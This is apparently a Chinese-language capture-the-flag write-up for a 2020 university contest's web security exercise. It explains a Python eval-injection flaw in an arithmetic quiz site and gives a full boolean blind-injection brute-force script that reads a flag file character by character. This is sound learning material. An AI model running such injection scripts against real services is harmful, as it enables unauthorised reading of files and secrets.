2020全国大学生软件测试大赛——WEB安全测试练习题WriteUp

2020全国大学生软件测试大赛——WEB安全测试练习题WriteUp

练习题:

一、简单的计算题-1

http://183.129.189.60:10061/

waywQI.png

​ 题目网站没有给源码,但是这道题是安恒六月赛的一道题,当时是给了源码的。https://h3110w0r1d.com/archives/221/。不过不给源码也并不是做不了。这道题主要考察的是python注入。

关键点:①将cookie的sessionid进行base64解码可以看出就是题目的计算题字符串以及一些其它编码。同时每次服务器都会下发一个新的sessionid和新的题目。通过BP抓包尝试,每次服务器下发新的sessionid和题目后不会清除以前的session内容,所以我们可以使用一个sessionid对应一个不变的答案。

waBjZF.png

​ ②题目没有其它回显值,只会返回error、Congratulations、InValid。可以通过布尔盲注,使用Python语句注入爆破flag。例如:答案 and open('./flag', 'r').read()[0] == 'D'

​ ③此题的flag就在./flag文件中,但是题目没有给任何的提示。这一点有点奇怪,不过一般硬猜的话可能也是flag flag.txt?

爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests, re
url = "http://183.129.189.60:10061/"
response1 = requests.get(url)
answer_str = re.search('<h4>(.*)=</h4>', response1.text).group(1)
answer_val = eval(answer_str)
cookie = response1.cookies['session']
flag = ""
for i in range(50):
for j in range(32, 127):
try:
payload = str(answer_val) + ' and open("/flag", "r").read()[{}] == "{}"'.format(i, chr(j))
#print("payload = " + payload)
res = requests.post(url, data={'input':payload}, cookies={'session' : cookie})
#print("Rescontent = " + re.search('<h3>(.*)</h3>', res.text).group(1))
if re.search('Congratulations', res.text) != None:
flag += chr(j)
print('******* flag ===>' + flag)
break
except:
pass

flag:****** flag ===>DASCTF{53a6ee70a3e8c013e2b1dbb2b926d3b2}

一些坑点

1、脚本中的payload payload = str(answer_val) + ' and open("/flag", "r").read()[{}] == "{}"'.format(i, chr(j)) 判断是否等于一个字符的位置应该加引号,不然判断不出来。 ??? == ‘D’ 这里的D要加引号

2、在爆破的时候有可能因为一些网络情况requests方法抛出异常,这种情况需要增加一个异常处理语句,不处理语句让其pass继续进行。

当前网速较慢或者你使用的浏览器不支持博客特定功能,请尝试刷新或换用Chrome、Firefox等现代浏览器